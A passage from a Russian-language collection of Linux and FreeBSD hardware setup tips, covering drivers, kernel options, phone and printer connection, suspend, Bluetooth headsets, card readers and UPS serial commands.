         {DL_VENDORID, DL_DEVICEID_DL100050,"D-Link DL10050 10/100BaseTX"},
         {0,0,NULL}
       };
    
    
    в файле if_stereg.h:
    
       #define AS_VENDORID 0x13F0
       #define AS_DEVICEID_NX1001 0x0200
    
    После этого мы обязаны пересобрать наше старое ядро:
    
       cd /usr/src/sys/i386/conf/
       cp GENERIC GATEWAY
       ee GATEWAY
       config GATEWAY
       cd ../compile/GATEWAY
       make depend
       make
       make install
       shutdown -r now
    
    В итоге в нашем случае появляется сетевая карточка в устройствах как sto0.
    
     
    ----* Nokia в Ubuntu Linux. Подключение, настройка и работа. (доп. ссылка 1)   Автор: openkazan.info  [комментарии]
     
    Настройка линукса для работы с телефоном Nokia, подключеным к системе через USB кабель.
    
    В этой статье будем настраивать линукс для работы с вашим телефоном Nokia, 
    подключеным к системе через USB кабель. Система Ubuntu Feisty Linux 7.04, 
    хотя аналогичным образом можно настроить в любом другом дистрибутиве.
    
    1) Ставим необходимый софт: 
    
       apt-get install obexftp  openobex-apps
    
    2)  Далее в консоли:  
    
       lsusb
    
    на  выходе получаем:
    
       Bus 003 Device 003: ID 0421:043a Nokia Mobile Phones
    
    из этого узнаем VendorID и ProductID:
    
       VendorID = 0421
       ProductID = 043a
    
    3) Прописываем эти данные в /etc/udev/rules.d/040-permissions.rules:
    
       sudo vim /etc/udev/rules.d/040-permissions.rules
    
    в конец файла вписываем:
    
       BUS=="usb", SYSFS{idVendor}=="VendorID", SYSFS{idProduct}=="ProductID",  GROUP="plugdev", USER="yourUserNname"
    
    VendorID и ProductID заменяем нашими данными полученными выводом команды lsusb
    USER="имя пользователя под которым вы работаете в системе"
    
    4) Создаём кнопку запуска на рабочем столе. В её свойствах прописываем:
    
       java -jar /home/YOURUSERNAME/obexftp-frontend-0.6.1-bin/OBEXFTPFrontend.jar
    
    YOURUSERNAME меняем на вашу домашнюю папку
    
    5) Запускаем /usr/bin/obexftp
    В вкладке Transport выбираем USB, Value 1
    Далее OK.
    
    Всё, настройка закончена. Запускаем программу через созданную нами на рабочем
    столе кнопку запуска.
    В появившемся окошке видим drive c: - это наша memory card. Процесс закачки и
    выгрузки файлов понятен интуитивно.
    Удачной работы!:)
    
     
    ----* Решение проблемы отсутствия звука в ноутбуках с чипсетом Intel 82801G (доп. ссылка 1)   Автор: openkazan.info  [комментарии]
     
    Как ни странно, но в ноутбуках с аудио чипсетом 82801G от Intel (фирмы  с
    которой обычно нет проблемм)
    под линуксом не работает звук. Причём проблемма существует на любых дистрибутивах 
    (проверено при прочтении форумов с аналогичной проблеммой) и на ноутах самых разных производителей.
         
    ОС на которых мы пытались завести звук: Ubuntu 7.04 Feisty, Ubuntu 7.10 Gutsy, Fedore Core 7.
    
    Ноутбуки на которых люди столкнулись с проблеммой отсутствия звука на 82801G: Acer aspire 5310,
    Acer Aspire 3682, Acer TravelMate 2490, Toshiba L40-13G, Sony Vaio SZ110, 
    Compaq nx7400, IBM Thinkpad Z61m и многие другие...
    
    Во всех системах признаки одни и те же: если звук появляется, то тихий и из
    левой колонки слышен пронзительный "свист".
    Если переместить ползунок регулировки громкости - звук пропадает совсем.
    
    
    Данное решение проблеммы описано на модели Toshiba L40-13G
    
    И так, 
    
       $lspci |grep Audio
    
    выдаёт нам следующее:
    
       00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High   Definition Audio Controller (rev 02)
    
    Решение давольно простое:
    В Ubuntu:
    
       $sudo vim /etc/modprobe.d/alsa-base
    
    добавить в конце файла строку 
    
       options snd-hda-intel model=3stack
    
    в FedoraCore $sudo vim /etc/modprobe.conf
    
    там где options snd-hda-intel ... в конце строки добавить model=3stack
    
    в других дистрибутивах делать аналогично 
    
    далее $sudo update-modules или перезагрузка и должно всё работать:)
    
     
    ----* Выбор и настройка VoIP usb-телефона под linux. (доп. ссылка 1)   Автор: Сергей Вольхин  [комментарии]
     
    Выбор.
    
    Меня интересовала не просто работа микрофона и динамика, но и как минимум клавиатуры.
    
    Выбор пал на Skypemate p1K (в девичестве Yealink), как не на очень дорогой апппарат,
    при этом имеющий как полноценную клавиатуру ("как у мобильника"), так и простенький ЖК-дисплей.
    Ко всему прочему поддержка именно этого девайса в linux наиболее развита.
    
    Настройка.
    
    Поддержка собственно звука не требует практически никакой настройки.
    Девайс определяется как новая звуковая карта:
    
        -bash-2.05b# cat /proc/asound/cards
        ....
        USB-Audio - VOIP USB Phone
        Yealink Network Technology Ltd. VOIP USB Phone at usb-0000:00:03.0-3
    
    В SIP-клиенте достаточно выбрать например "/dev/dsp2" в качеcтве динамика/микрофона.
    
    Что касается клавиатуры, то с этим ситуация несколько сложней.
    
    Есть несколько проектов разной степени работоспособности:
    
    1. SkypeMate (http://skypemate.ru/support/docs/) - официальный драйвер. 
    Бинарный, только для FedoraCore 3 (требует старый dbus-0.23).
    Плюс ко всему только для Skype. Отдельные джидаи запускали его на современных дистрибутивах
    с подменой либы dbus, с периодическими сегфолтами, я с этим заморачиваться не стал.
    
    2. USBB2K-API (http://savannah.nongnu.org/projects/usbb2k-api/) - неофициальный
    драйвер. По отзывам пользователей - работает,
    однако у меня он не завелся. Девайс определялся, команды на телефон шли,
    однако обратной связи не наблюдалось. При этом на форумах отписывали пользователи с аналогичной
    проблемой, разработчики пытались им даже помочь, но дело там так и не сдвинулось с мертвой точки.
    
    3. yealink-module (http://savannah.nongnu.org/forum/forum.php?forum_id=4319) -
    как видно из названия модуль для ядра.
    Последняя версия из CVS у меня собралась лишь после жесткой правки исходников и 
    после этого кончено нормально не работала, однако релиз за номером 0861 собрался сразу и 
    без проблем был установлен. Замечу, что поддержка клавиатуры в нем реализована
    просто и универсально:
    клавиши телефона дублируют клавиши клавиатуры (цифровые, backspace, enter и т.д.)
    
    Оригинал статьи (со ссылками) здесь: http://damnsmallblog.blogspot.com/2007/07/usb-linux.html 
    
     
    ----* Установка принтера HP1020 в Debian Еtch   Автор: Андрей Никитин  [комментарии]
     
    Принтеры HP LaserJet 1000,1005,1018,1020 после включения должны загрузить
    бинарный firmware драйвер.
    
    Если прошивка по каким-то причинам не загружена 
    (загрузка обычно устанавливается в автомате через hotplug),
    то вывод usb_printerid будет примерно таким
    
       nik@linuxdvr:~$ usb_printerid /dev/usb/lp0
       GET_DEVICE_ID string:
       MFG:Hewlett-Packard;MDL:HP LaserJet 1020;CMD:ACL;CLS:PRINTER;DES:HP  LaserJet 1020;
    
    без упоминания версии прошивки в конце строки (FWVER:20041129;)
    
    Устанавливаем штатный deb-пакет foo2zjs
    он ставит все что нужно, за исключением самой прошивки
    и в логе tail -n 20 /var/log/messages вы увидите что-то подобное
    
       Mar 20 12:35:34 linuxdvr kernel: usbcore: registered new driver usblp
       Mar 20 12:35:34 linuxdvr kernel: drivers/usb/class/usblp.c: v0.13: USB Printer Device Class driver
       Mar 20 12:35:35 linuxdvr /usr/bin/hplj1020: Missing HP LaserJet 1020 firmware file /usr/share/foo2zjs/firmware/sihp1020.dl
       Mar 20 12:35:35 linuxdvr /usr/bin/hplj1020: ...read foo2zjs installation instructions and run ./getweb 1020
    
    Выполняю:
    
       nik@linuxdvr:~$ getweb 1020
    
    в итоге c инета сайта foo2zjs качается прошивка  и сохраняется как sihp1020.img
    
    конвертируем этот бинарник в нужный формат
    
       nik@linuxdvr:~$ arm2hpdl sihp1020.img > sihp1020.dl
    
    далее копируем куда нужно
    
       nik@linuxdvr:~$ sudo mv sihp1020.dl /usr/share/foo2zjs/firmware/
    
    и корректируем владельца группу
    
       nik@linuxdvr:~$ sudo chown root:root /usr/share/foo2zjs/firmware/sihp1020.dl
    
    Включаем и выключаем принтер и в логе tail -n 20 /var/log/messages видим
    
       Mar 20 12:57:18 linuxdvr /usr/bin/hplj1020: loading HP LaserJet 1020 
         firmware /usr/share/foo2zjs/firmware/sihp1020.dl to /dev/usb/lp0 ...
       Mar 20 12:57:19 linuxdvr /usr/bin/hplj1020: ... download successful.
    
    Проверяем:
    
       nik@linuxdvr:~$ usb_printerid /dev/usb/lp0
    
       GET_DEVICE_ID string:
       MFG:Hewlett-Packard;MDL:HP LaserJet 1020;CMD:ACL;CLS:PRINTER;DES:HP  LaserJet 1020;FWVER:20041129;
    
    FWVER:20041129; - это версия успешно загруженной прошивки
    
    Все, теперь идем в KDE, GNOME или ... и запускаем ОТ ROOT-а гуёвые мастера для добавления принтера.
    
    На всякий случай, привожу установленные в Debian Etch пакеты для печати на HP1020 через CUPS.
    
    nik@linuxdvr:~$ aptitude search "foo|cups|foo2" | grep "^i"
    i   cupsys                          - Common UNIX Printing System(tm) - server
    i   cupsys-bsd                      - Common UNIX Printing System(tm) - BSD comm
    i   cupsys-client                   - Common UNIX Printing System(tm) - client p
    i A cupsys-common                   - Common UNIX Printing System(tm) - common f
    i   cupsys-driver-gutenprint        - printer drivers for CUPS
    id  foo2zjs                         - Support for printing to ZjStream-based pri
    i A foomatic-db                     - linuxprinting.org printer support - databa
    i   foomatic-db-engine              - linuxprinting.org printer support - progra
    i   foomatic-db-gutenprint          - linuxprinting.org printer support - databa
    i   foomatic-db-hpijs               - linuxprinting.org printer support - databa
    i A foomatic-filters                - linuxprinting.org printer support - filter
    i   foomatic-filters-ppds           - linuxprinting.org printer support - prebui
    i   foomatic-gui                    - GNOME interface for configuring the Foomat
    i   gnome-cups-manager              - CUPS printer admin tool for GNOME
    i A libcupsimage2                   - Common UNIX Printing System(tm) - image li
    i A libcupsys2                      - Common UNIX Printing System(tm) - libs
    i A libgnomecups1.0-1               - GNOME library for CUPS interaction
    i A libgnomecupsui1.0-1c2a          - UI extensions to libgnomecups
    i A python-foomatic                 - Python interface to the Foomatic printer d
    
    
    (С) Андрей Никитин, 2007
    Перепечатка и цитирование допускаются только с разрешения автора.
    
     
    ----* Установка CentOS и FC 6 на материнские платы Intel P965 (ICH8R) с IDE-CDROM   Автор: Державец Борис  [комментарии]
     
    Установка CentOS 4.4 (RHEL AS  4.4) и FC 6 на материнские платы с чипсетом
    Intel P965 & Intel ICH8R с IDE-CDROM'a.
    
    
    1.Установить в BIOS режим AHCI для  Intel ICH8R и Jmicron JMB363
    
    2.На подсказке 
         boot:linux all-generic-ide pci=nommconf
    
    3. Cпецифицировать во время графической установки
         Kernel boot options : 
         all-generic-ide pci=nommconf
    
    При установке GRUB в /boot partition выполнить:
         boot:linux all-generic-ide pci=nommconf rescue
          ...................
    
         # chroot /mnt/sysimage
         # df -h
         /dev/sdaX    .......       /boot
         .............................
    
         #  dd if=/dev/sdaX of=linux.bin bs=512 count=1
         # mcopy linux.bin a:
             
      Такой стиль установки позволяет системам   успешно определять 
    IDE-CDROM не только при установке , но и в рабочем режиме.
    
     
    ----* Новый способ использования NDIS во FreeBSD 5.x и 6.x  (доп. ссылка 1)   Автор: Kond  [комментарии]
     
    Все статьи на opennet описывают создание модуля NDIS для FreeBSD старым методом:
       ndiscvt -i *.inf -s *.sys -o ndis_driver_data.h
    
    Данный способ уже давно устарел и теперь нужно использовать программу ndisgen.
    
    Например. Имеем файлы из комплекта Windows драйверов:
       Fw1130.bin -  Network interface firmware.
       FwRad16.bin -  Radio firmware.
       TNET1130.INF -  Driver information file.
       tnet1130.sys - Driver binary. 
    
    Старый способ:
    
       cd /sys/modules/ndis
       make depend
       make
       make install
       cd ../if_ndis
       ndiscvt -i TNET1130.INF -s tnet1130.sys  -f Fw1130.bin -o ndis_driver_data.h
       make depend
       make
       make install
       ndiscvt -f FwRad16.bin
       cp FwRad16.bin.ko /boot/kernel
       kldload FwRad16.bin
       kldload if_ndis
    
    Для автоматизации загрузки помещаем в /boot/loader.conf
       FwRad16.bin_load="YES"
       if_ndis_load="YES"
    
    Новый способ (не требует установки исходных текстов ядра):
       ndisgen
       ... отвечаем на интерактивные вопросы, на выходе получаем tnet1130_sys.ko
       cp tnet1130_sys.ko /boot/kernel/
       kldload ndis
       kldload if_ndis
       kldload tnet1130_sys
    
    Для автоматизации загрузки помещаем в /boot/loader.conf
       ndis_load="YES"
       if_ndis_load="YES"
       tnet1130_sys_load="YES"
    
     
    ----* Как в Linux решить проблему конфликта тачпада и мыши на ноутбуке (доп. ссылка 1)   Автор: rmcgowan  [комментарии]
     
    Некоторые проблемы совместной работы мыши и Touchpad можно решить,
    добавив параметр загрузки ядра:
       psmouse.proto=imps
    
    Ниже пример настройки  Touchpad и внешней мыши для X.Org:
    
    # Тачпад
    Section "InputDevice"
      Driver        "synaptics"
      Identifier    "Mouse2"
      Option        "Device"        "/dev/psaux"
      Option        "Edges"         "1900 5400 1800 3900"
      Option        "Finger"        "25 30"
      Option        "MaxTapTime" "20"
      Option        "MaxTapMove" "220"
      Option        "VertScrollDelta" "100"
      Option        "MinSpeed"      "0.02"
      Option        "MaxSpeed"      "0.18"
      Option        "AccelFactor" "0.0010"
    EndSection
    
    # USB мышь
    Section "InputDevice"
        Identifier          "Mouse1"
        Driver              "mouse"
        Option              "Protocol"    "IMPS/2"
        Option              "Device"      "/dev/input/mice"
        Option              "ZAxisMapping" "4 5"
        Option              "Buttons" "5"
    EndSection
    
    Section "ServerLayout"
       ....
        InputDevice "Mouse2" "CorePointer"
        InputDevice "Mouse1" "SendCoreEvents"
    EndSection
    
     
    ----* Засыпание ноутбука с сохранением данных в памяти (Suspend to RAM) (доп. ссылка 1) (доп. ссылка 2)   [обсудить]
     
    cat /proc/acpi/sleep
    S0 S3 S4 S4bios S5
    
    Первым делом попробовать:
    echo 4b > /proc/acpi/sleep
    
    Если не получилось, ядро нужно грузить с параметрами "noapic acpi_sleep=s3_bios"
    
    Далее если в ядро входят патчи swsusp 
    (/dev/hda5 - swap раздел, который должен быть раза в два больше ОЗУ):
      append=" resume=/dev/hda5" 
      или для swsusp2: append=" resume2=swap:/dev/hda5"
    
    Если swsusp перестал вообще грузить систему, 
    используйте параметр ядра "noresume" для игнорирования resume образа.
    
    # Сохраняем статус видеокарты (http://www.srcf.ucam.org/~mjg59/vbetool/)
    vbetool vbestate save > ~/VBESTATE
    # Засыпаем.
    echo 3 > /proc/acpi/sleep
    # Восстанавливаем статус видеокарты после просыпания.
    vbetool post
    vbetool vbestate restore < ~/VBESTATE
    
    Другой вариант засыпания:
       echo "mem" >> /sys/power/state
       echo "disk" >> /sys/power/state
    
    После просыпания лучше перезапустить hotplug:
       service hotplug restart
    
    Еще лучше до засыпания остановить, а после просыпания загрузить сервисы:
       usb acpid sound irda pcmcia
    
    Можно скачать готовый скрипт hibernate с http://www.suspend2.net/downloads/all/
    
    Для засыпания по закрытию крышки, создаем /etc/acpi/events/lid
       event=button[ /]lid.*
       action=echo "3" > /proc/acpi/sleep
    
    При нажатии на кнопку питания, создаем /etc/acpi/events/powerbtn
       event=button[ /]power.*
       action=echo "3" > /proc/acpi/sleep
    
    Советы по экономии батареи для ноутбуков на базе Pentium Mobile Centrino:
      http://wiki.teuwen.org/DebianLaptop
    
     
    ----* Подключение Bluetooth гарнитуры в Fedora Core Linux 4 (доп. ссылка 1)   Автор: John G. Moylan  [комментарии]
     
    Устанавливаем поддержку bluetooth (проект Bluez):
        yum install bluez-libs bluez-pin bluez-utils bluez-hcidump bluez-utils-cup
    
    Устанавливаем утилиты звуковой подсистемы ALSA:
        yum install alsa-tools alsa-lib alsa-utils alsa-lib-devel
    
    Устанавливаем automake (понадобится для сборки BTSCO)
       yum install automake
    
    Проверяем на сайте http://bluetooth-alsa.sourceforge.net/ поддерживается ли
    наша гарнитура (Jabra BT200 поддерживается).
    
    Запускам hcitool и смотрим активна ли bluetooth подсистема.
    
    Подключаем гарнитуру и запускаем "hcitool scan", смотрим MAC адрес в результатах вывода.
    Далее, подключаем через:
       hcitool cc MAC
    
    Все должно работать, но на случай проблем, пример некоторый файлов из /etc/bluetooth:
    
    hcid.conf
            options {
               autoinit yes;
               security user;
               pairing multi;
               # PIN helper
               pin_helper /etc/bluetooth/feed-pin.sh;
               # D-Bus PIN helper
               #dbus_pin_helper;
            }
            device {
               name "%h-%d";
               # Local device class
               class 0x120104;
               # Inquiry and Page scan
               iscan enable; pscan enable;
               lm accept;
               lp rswitch,hold,sniff,park;
               # Authentication and Encryption (Security Mode 3)
               auth enable;
               encrypt enable;
            }
    
    rfcomm.conf
         rfcomm0 {
             # Automatically bind the device at startup
             bind no;
    
             # Bluetooth address of the device
             device 11:11:11:11:11:11;
    
             # RFCOMM channel for the connection
             channel 1;
    
             # Description of the connection
             comment "Bluetooth Device
         }
    
    /etc/bluetooth/feed-pin.sh
        #!/bin/sh
        echo "PIN:0000"
    
    
    Установка BTSCO из исходных текстов.
    
    Получаем исходные тексты из CVS:
       cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/bluetooth-alsa log
       cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/bluetooth-alsa co btsco
    
    Собираем утилиты:
       ./bootstrap
       ./configure
       make
       make install
       make maintainer-clean
    
    Собираем модуль ядра:
       cd kernel
       make
       make install
       depmod -e
       make clean
    
    Подгружаем модуль ядра:
       modprobe snd-bt-sco
    
    Подключаемся к гарнитуре:
       btsco -v MAC
    
    Небольшой скрипт для автоматизации запуска skype:
        #!/bin/sh
        modprobe modprobe snd-bt-sco
        btsco MACofHeadset
        skype
    
     
    ----* Монтирование в Linux флеш-карт, отформатированных цифровой фотокамерой   Автор: Гусев Андрей  [комментарии]
     
    После удачно завершившейся разборки с "multiple LUN support" для доступа к девайсам карт-ридеров 
    (MAUSB-300 производства OLYMPUS и безымянный "11 in 1" Тайваньского производства) оказалось, 
    что карты xd-Picture (OLYMPUS) и SD (Transcedent), отформатированные в соответствующих аппаратах 
    (фотокамера CAMEDIA C55ZOOM, и наладонник PalmOne Tungsten E2) монтироваться всё-таки не хотят.
     По выяснении обстоятельств оказалось что монтировать их нужно с указанием параметра offset:
    
        xd 16Mb - 20992 (0x5200)
        xd 128Mb - 24064 (0x5E00)
        xd 256Mb - 25088 (0x6200)
        sd 128Mb - 49664 (0xC200)
        sd 256Mb - 51712 (0xCA00)
    
    т.е., например, вот так:
    
        > mount -t vfat -o loop,offset=20992 /dev/sda /mnt/ttt
    
    После модификации содержимого карт (добавления/удаления файлов), 
    смонтированных таким образом соответствующие аппараты не высказывают к этому самому содержимому 
    (и к файловой системе карт) никаких претензий, т.е. читают его и понимают правильно.
    
     
    ----* Как настроить параметры ISA карты под FreeBSD и Linux   [комментарии]
     
    FreeBSD:
    
     /boot/kernel.conf (для карты на 0x300 порту, прерывание 10, IO адрес 0xd8000):
          en ed0
          po ed0 0x300
          ir ed0 10
          iom ed0 0xd8000
          f ed0 0
          q
    
    Linux:
    
       modprobe 3c501 io=0x300 irq=10
       
       или в /etc/modules.conf
          alias eth0 3c501
          options 3c501 io=0x300 irq=10
    
    Если карта PNP (пакет isapnptools), параметры смотрим через pnpdump и помещаем в /etc/isapnp.conf.
    
     
    ----* Как протестировать целостность ОЗУ не останавливая машину на memtest (доп. ссылка 1)   Автор: poige  [комментарии]
     
    получим кучу несжимаемых данных
        dd if=/dev/urandom of=random.dat bs=1M count=БОЛЬШЕРАЗМЕРАОЗУ
        bzip2 -c < random.dat > random2.dat.bz2
    
    распакуем в /dev/null (можно и на диск конечно)
        bzip2 -dc < random2.dat.bz2 > /dev/null
    
    Сбой обычно выглядит так:
        bzcat: Data integrity error when decompressing.
    
     
    ----* Настройка WebCam на чипе OV511/OV511+ под FreeBSD (доп. ссылка 1)   Автор: denz  [комментарии]
     
    #!/bin/sh
    # Scriptec greb webcam
    cur_date=`date \+\%d.\%m.\%Y`
    cur_time=`date \+\%H:\%M`
    cam_dir=/home/virtual/denz/htdocs/cam
    /usr/local/bin/vid -d /dev/ugen0 --small | pnmtojpeg --quality=72 --optimize --smooth 10 \
       --progressive --comment="TiraNET Office (67700, Ukraine, Belgorod-Dnestrovsky, P/O Box 4) "\
       > /tmp/webcam_shot.jpg
    rm -f ${cam_dir}/camout.jpg
    /usr/local/bin/convert -normalize -fill white -font helvetica -antialias  \
       -draw "text 45,230 'WebCam in kladovka [ $cur_time @ $cur_date ]'" \
       /tmp/webcam_shot.jpg ${cam_dir}/camout.jpg
    rm -f /tmp/webcam_shot.jpg
    chown -R denz:www ${cam_dir}/*
    
     
    ----* Синхронизация Smartphone Motorola MPx200 под Linux (доп. ссылка 1)   [комментарии]
     
    Есть два способа как заставить MPX200 работать с Linux: IrDA  и wince-usb.
    
    1. Подключение через IrDA (SIR):
      
       Устанавливаем параметры для SiR порта
       /bin/setserial /dev/ttyS1 port 0x6f8 irq 3 uart 8250 baud_base 115200
    
       irattach /dev/ttyS1 -s
       
       Для RedHat-based Linux дистрибутивов делаем проще:
          В /etc/sysconfig/irda 
             IRDA=yes
             DEVICE=/dev/ttyS1
             DISCOVERY=yes
    
          # service irda start
    
       Запускем демон синхронизации (не из под root). Качаем с http://synce.sourceforge.net
          $ dccm
          Если используется пароль запускаем как "dccm -p пароль"
    
       Один раз указываем используемый  порт.
          # synce-serial-config ircomm0
       
       Стартуем pppd (про hotplug, ниже)
          # synce-serial-start
    
       Проверяем.
          $ pstatus
    
    Version
    =======
    Version:    4.20.0 (Microsoft Windows Mobile 2003 for Pocket PC Phone Edition (?))
    Platform:   3 (Windows CE)
    .....
    
       Завершаем сеанс
          # synce-serial-abort
    
    
    2. Подключение по USB.  Для 2.4.x ядра используем user space драйвер wince-usb
       http://cvs.sourceforge.net/viewcvs.py/synce/wince-usb/  + http://libusb.sourceforge.net 
      (последние 2.6.x ядра должны работать с модулями ipaq и usb-serial из коробки).
    
       Патчим. В самом начале ipaqd.c меняем значения IPAQ_ENDPOINT на
          #define IPAQ_ENDPOINT_IN        0x82                                            
          #define IPAQ_ENDPOINT_OUT       0x02  
    
       Далее в devlist[]  добавляем                                                                 
            { 0x045e, 0x00ce, "Motorola MPX200" },  
    
       Создаем /usr/local/bin/cebox.sh взяв пример из README к wince-usb, например:
          #!/bin/sh
          /usr/sbin/pppd nocrtscts local debug passive silent 192.168.1.1:192.168.1.2 ms-dns 192.168.1.1 noauth proxyarp
    
          $ dccm
    
       Подключаем телефон и сразу запускаем
          # rmmod ipaq (пока не поправили hotplug)
          # ipaqd 2>/var/log/ipaqd.log
    
       Далее запускаем synce-serial-* как в предыдущем шаге.
    
    3. Настройка HotPlug (чтобы все запускалось автоматически).
    
       В /etc/hotplug/usb.agent добавляем после блока с "LABEL="USB product $PRODUCT":
    
          if [ "$PRODUCT" = "45e/ce/0" ]; then
               /etc/hotplug/usb/ipaq
               exit 0
          fi
    
       Создаем /etc/hotplug/usb/ipaq
           #!/bin/bash
           killall -9 ipaqd
           killall dccm
           su -c /usr/bin/dccm /user/
           /usr/local/bin/ipaqd 2>/var/log/ipaq.log
    
    4. Стандартные команды synce:
          pcp - копирование файлов (аналог cp)
          pls - список файлов в директории (аналог ls)
          pmkdir - создание директории (аналог mkdir)
          pmv - перенос/переименование файлов (аналог mv)
          prm - удаление файлов (аналог rm)
          prmdir - удаление директорий
          prun - запуск программы на устройстве
          pstatus - статус устройства
          synce-install-cab - установка на устройство .cab файла
          orange - позволяет выдрать .cab из .exe инсталлера;
    
    
    В Modnight Commander удобно использовать VFS понимающую команды
    "cd #synce" и "cd #synceroot", 
    правда модуль раздаваемый на сайте synce у меня не заработал, пришлось его переписать: 
    ftp://ftp.opennet.ru/pub/sys/shell/synce-mcfs-patched/
    Для работы, копируем файлы synce и synceroot в /usr/lib/mc/extfs
    К extfs.ini добавляем:
       synce                                                                           
       synceroot
    
    Хорошая графическая оболочка для синхронизации календаря и адресной книги -
    MultiSync (http://multisync.sourceforge.net/)
    
     
    ----* Как подключить USB Card Reader к Linux   [обсудить]
     
    Для работы с многокарточными кардридерами необходимо чтобы ядро было
    собрано с опцией CONFIG_SCSI_MULTI_LUN=y или подгрузить модуль mod_scsi
    с параметром max_scsi_luns=N, иначе Linux будет воспринимать только
    первый слот кардридера.
    
    Проверить можно, например, так:
       zcat /proc/config.gz | grep CONFIG_SCSI_MULTI_LUN
    
    Решение 1.
    
    При использовании mod_scsi добавить в /etc/modules.conf:
        options scsi_mod max_scsi_luns=4294967295
    
    Решение 2.
    
    Заставить ядро опрашивать больше одного LUN у одного устройства.
        cat /proc/scsi/scsi и находим первый LUN нашего кардридера.
            Host: scsi1 Channel: 00 Id: 00 Lun: 00
    выбор цифр        ^          ^      ^
    
    Далее:
        echo "scsi add-single-device 1 0 0 1" > /proc/scsi/scsi
    
        echo "scsi add-single-device 1 0 0 2" > /proc/scsi/scsi
        echo "scsi add-single-device 1 0 0 3" > /proc/scsi/scsi
        ...
    
    Для удобства монтирования можно прописать в /etc/fstab:
    /dev/sda1       /mnt/smcard     auto
    user,noauto,noexec,mode=0444,rw,sync,codepage=866,iocharset=koi8-r 0 0
    /dev/sdb1       /mnt/cfcard     auto
    user,noauto,noexec,mode=0444,rw,sync,codepage=866,iocharset=koi8-r 0 0
    /dev/sdc1       /mnt/sdcard     auto
    user,noauto,noexec,mode=0444,rw,sync,codepage=866,iocharset=koi8-r 0 0
    /dev/sdd1       /mnt/mscard     auto
    user,noauto,noexec,mode=0444,rw,sync,codepage=866,iocharset=koi8-r 0 0
    
    PS. Для 2.6.x ядра:
      echo 8 > /sys/module/scsi_mod/parameters/max_luns
    
     
    ----* Как не разбирая корпус посмотреть модель материнской платы (доп. ссылка 1)   Автор: Anton V. Yuzhaninov  [комментарии]
     
    1. Просмотреть содержимое BIOS (проверял под Linux и FreeBSD)
        dd if=/dev/mem bs=64k skip=15 count=1 | strings | less
    в первых строчках обычно упоминается название материнской платы.
    
    2. Воспользоваться утилитой dmidecode
    
     
    ----* Как в Linux посмотреть порт/прерывание для ISA/PCI устройств.   [обсудить]
     
    pnpdump -c > isapnp.conf - дамп isa/pnp параметров
    isapnp isapnp.conf - установить параметры после изменения isapnp.conf 
    lspci, lspci -v, lspci -vvv -  список pci устройств. 
    scanpci или lspcidrake - найдет модули Linux ядра соответствующие устройствам
    (пакеты libhw-tools и ldetect).
    lshw - покажет исчерпывающую информацию о USB и PCI устройствах.
    setpci - поменять параметры pci устройства
    cat /proc/iomem
    cat /proc/ioports
    cat /proc/interrupts
    
     
    ----* Управление APC UPS через serial порт.   [комментарии]
     
    cu -s 2400 -e -o -h -l /dev/cuaa0 # 2400 Baud, 8 Data Bits, 1 Stop Bit, No Parity
    
    Команды:
      Y - переход в командный режим, только после Y будут выполняться остальные команды;
      K - выключение UPS через 15-30 сек. (K, задержка 1 сек, К, задержка 1 сек, <CR>);
      A, X, U и W - самотестироание;
      R - окончание сессии;
      L - Напряжение на входе;
      O - Напряжение на выходе;
      B - Вольтаж батареи;
      F - Частота в сети, Hz;
      M, N - максимальное и минимальное заргистрированное напряжение в сети;
      P - потребление энергии в %;
      C - температура.
    
    Когда нет питания UPS шлет '!' каждые 5 секунд, если питание появилось - шлет '$'.
    
     
    ----* Как подключить USB Flash накопитель в FreeBSD (доп. ссылка 1)   [комментарии]
     
    man umass
    Конфигурация ядра (FreeBSD 4.8 можно не пересобирать):
      device usb
      device ohci (OR device uhci)
      device umass
      device scbus
      device da
      device pass
    В логе смотрим подобное сообщение "da0 at umass-sim0 bus 0 target 0 lun 0"
    Монтируем:
      mount -t msdos /dev/da0s1 /mnt
    
     
    ----* Почему Linux ядро не использует всю память и пишет "Warning only 960MB will be used".   [комментарии]
     
    Если добавление в lilo append="mem=1536M" не помогает:
    
    Необходимо пересобрать 2.2.x ядро с опцией CONFIG_2GB=y
    Processor type and features -> Maximum Physical Memory -> 2Gb
    
    Если проблема проявляется в ядре 2.4.x - CONFIG_HIGHMEM, CONFIG_HIGHMEM4G или CONFIG_HIGHMEM64G
    
     
    ----* Включение Hyper-Threading scheduler в Linux, для CPU Xeon. (доп. ссылка 1)   [комментарии]
     
    Linux поддерживает Hyper-Threading начиная с ядра 2.4.17. 
       Ядро должно быть собрано как SMP,
       При загрузке, передаем параметр acpismp=force (в lilo: append=" acpismp=force")
        проверка работы: 
    cat /proc/cpuinfo, если среди flags есть "ht", то Hyper-Threading активирован.
    
     
    ----* Как под Linux установить параметры serial порта (прерывание, адрес порта)   [обсудить]
     
    /bin/setserial -b /dev/ttyS2 uart 16450 port 0x2E8 irq 5
    
     
    ----* Как уменьшить нагрев процессора AMD Athlon/Duron под Linux   [комментарии]
     
    Активируем ACPI в ядре (при включенном ACPI не будет работать APM):
      "general.setup" активируем  "acpi subsystem", "acpi bus" и "acpi Processor entry".
    Для Via kt133/133a и kx133:
       Включить "охлаждение": setpci -v -H1 -s 0:0.0 52=EB
       Выключить: setpci -v -H1 -s 0:0.0 52=6B
    Для Via kt266/266a:
       Включить: setpci -v -H1 -s 0:0.0 92=EB
       Выключить: setpci -v -H1 -s 0:0.0 92=6B
    
     
    ----* Как исправить падения Linux на AMD Athlon/Duron + AGP ?   [обсудить]
     
    В /etc/lilo.conf необходимо добавить append="mem=nopentium", например:
    image=/boot/vmlinuz
            label=linux
            root=/dev/hda1
            append="mem=nopentium console=tty12 hdc=ide-scsi"
    
     
    ----* Как на сервере обеспечить подключение PS/2 клавиатуры, без перезагрузки   [комментарии]
     
    Для того чтобы на загруженный без PS/2 клавиатуры сервер, можно было в любой
    момент подключить клавиатуру
    без перезагрузки, нужно в конфигурации ядра заменить строку:
       device          atkbd0  at atkbdc? irq 1 flags 0x1
    на
       device          atkbd0  at atkbdc? irq 1
    Т.е. убрать 'flags 0x1' и тем самым разрешить загружать драйвер клавиатуры
     при отключенной в момент загрузки клавиатуре.
    
     
    ----* Настройка работы WiMax в Ubuntu Linux 9.04   Автор: Вершинин Егор  [комментарии]
     
    Имеем:
       Ubuntu Linux 9.04
       Yota WiMax модем Samsung SWC-U200
    и большое желание этот модем использовать в Ubuntu :)
     
    Алгоритм:
    1) В запущенной Ubuntu запускаем программу gnome-terminal (Приложения \ Стандартные \ Терминал)
    
